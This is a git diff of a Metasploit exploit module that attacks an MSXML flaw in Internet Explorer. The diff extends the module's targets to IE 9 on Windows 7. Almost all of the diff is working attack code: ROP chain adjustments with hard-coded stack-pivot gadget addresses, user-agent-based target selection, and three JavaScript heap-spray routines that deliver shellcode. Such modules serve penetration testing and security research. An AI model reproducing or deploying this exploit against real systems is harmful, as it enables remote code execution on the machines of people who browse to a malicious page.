diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index c4e3b6524d..fa141f200f 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -15,12 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", - :ua_maxver => "8.0", + :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", :method => "definition", - :rank => NormalRanking + :rank => GoodRanking }) def initialize(info={}) @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', @@ -67,20 +67,23 @@ class Metasploit3 < Msf::Exploit::Remote 'IE 6 on Windows XP SP3', { 'Offset' => '0x100', - 'Rop' => nil + 'Rop' => nil, + 'RandomHeap' => false } ], [ - 'IE 7 on Windows XP SP3', + 'IE 7 on Windows XP SP3 / Vista SP2', { 'Offset' => '0x100', - 'Rop' => nil + 'Rop' => nil, + 'RandomHeap' => false } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, + 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll @@ -90,6 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote 'IE 8 with Java 6 on Windows XP SP3', { 'Rop' => :jre, + 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll @@ -99,10 +103,21 @@ class Metasploit3 < Msf::Exploit::Remote 'IE 8 with Java 6 on Windows 7 SP1/Vista SP2', { 'Rop' => :jre, + 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } + ], + [ + 'IE 9 with Java 6 on Windows 7 SP1', + { + 'Rop' => :jre, + 'RandomHeap' => true, + 'RopChainOffset' => 0x5FC, + 'Offset' => '0x0', + 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll + } ] ], 'Privileged' => false, @@ -123,10 +138,14 @@ class Metasploit3 < Msf::Exploit::Remote return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 + elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ + return targets[2] #IE 7 on Windows Vista SP2 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ return targets[5] #IE 8 on Windows 7 SP1/Vista SP2 + elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ + return targets[6] #IE 9 on Windows 7 SP1 else return nil end @@ -160,7 +179,13 @@ class Metasploit3 < Msf::Exploit::Remote def get_rop_chain(t) - adjust = ret(t) + if t['RandomHeap'] + adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c + adjust << ret(t) + else + adjust = ret(t) + end + adjust << popret(t) adjust << [ t['StackPivot'] ].pack("V") adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :) @@ -219,6 +244,120 @@ class Metasploit3 < Msf::Exploit::Remote return code end + def get_easy_spray(t, js_code, js_nops) + + spray = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + + while (nops.length < 0x80000) nops += nops; + + var offset = nops.substring(0, #{t['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + + heap_obj.gc(); + for (var z=1; z < 0x230; z++) { + heap_obj.alloc(block); + } + + JS + + return spray + + end + + + def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) + + spray = <<-JS + + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + var nops_90 = unescape("#{js_90_nops}"); + var rop_chain = unescape("#{js_rop}"); + + while (nops.length < 0x80000) nops += nops; + while (nops_90.length < 0x80000) nops_90 += nops_90; + + var offset = nops.substring(0, #{t['Offset']}); + var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length); + var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); + + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + + heap_obj.gc(); + for (var z=1; z < 0x230; z++) { + heap_obj.alloc(block); + } + + JS + + return spray + + end + + # Spray published by colelanc0d3r + # Exploit writing tutorial part 11 : Heap Spraying Demystified + # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ + def get_random_spray(t, js_rop, js_code, js_90_nops) + + spray = <<-JS + + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + + var rop = unescape("#{js_rop}"); + var code = unescape("#{js_code}"); + var nops_90 = unescape("#{js_90_nops}"); + + while (nops_90.length < 0x80000) nops_90 += nops_90; + + var offset_length = #{t['RopChainOffset']}; + + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length - code.length); + var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + + JS + + return spray + end + def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) @@ -235,66 +374,28 @@ class Metasploit3 < Msf::Exploit::Remote js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) - if my_target['Rop'].nil? - js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);" - else + + if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) - js_shellcode = <<-JS_ROP - var rop_chain = unescape("#{js_rop}"); - var nops_padding = nops.substring(0, #{my_target['RopChainOffset']}-code.length-offset.length); - var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); - JS_ROP - js_shellcode = js_shellcode.gsub(/^\t\t\t/, '') end - js = <<-JS - var heap_obj = new heapLib.ie(0x20000); - var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); - var nops_90 = unescape("#{js_90_nops}"); - - while (nops.length < 0x80000) nops += nops; - while (nops_90.length < 0x80000) nops_90 += nops_90; - - var offset = nops.substring(0, #{my_target['Offset']}); - #{js_shellcode} - - while (shellcode.length < 0x40000) shellcode += shellcode; - var block = shellcode.substring(0, (0x80000-6)/2); - - - heap_obj.gc(); - for (var z=1; z < 0x230; z++) { - heap_obj.alloc(block); - } - - JS + if my_target['RandomHeap'] + js = get_random_spray(my_target, js_rop, js_code, js_90_nops) + elsif not my_target['Rop'].nil? + js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops) + else + js = get_easy_spray(my_target, js_code, js_nops) + end js = heaplib(js, {:noobfu => true}) - object_id = rand_text_alpha(4) - - js_trigger = <<-TRIGGER - var obj = document.getElementById('#{object_id}').object; - var src = unescape("%u0c08%u0c0c"); - while (src.length < 0x1002) src += src; - src = "\\\\\\\\xxx" + src; - src = src.substr(0, 0x1000 - 10); - var pic = document.createElement("img"); - pic.src = src; - pic.nameProp; - obj.definition(1000); - TRIGGER - - js_trigger = heaplib(js_trigger, {:noobfu => true}) - if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate - js_trigger =::Rex::Exploitation::JSObfu.new(js_trigger) - js_trigger.obfuscate end + object_id = rand_text_alpha(4) + html = <<-EOS @@ -305,7 +406,15 @@ class Metasploit3 < Msf::Exploit::Remote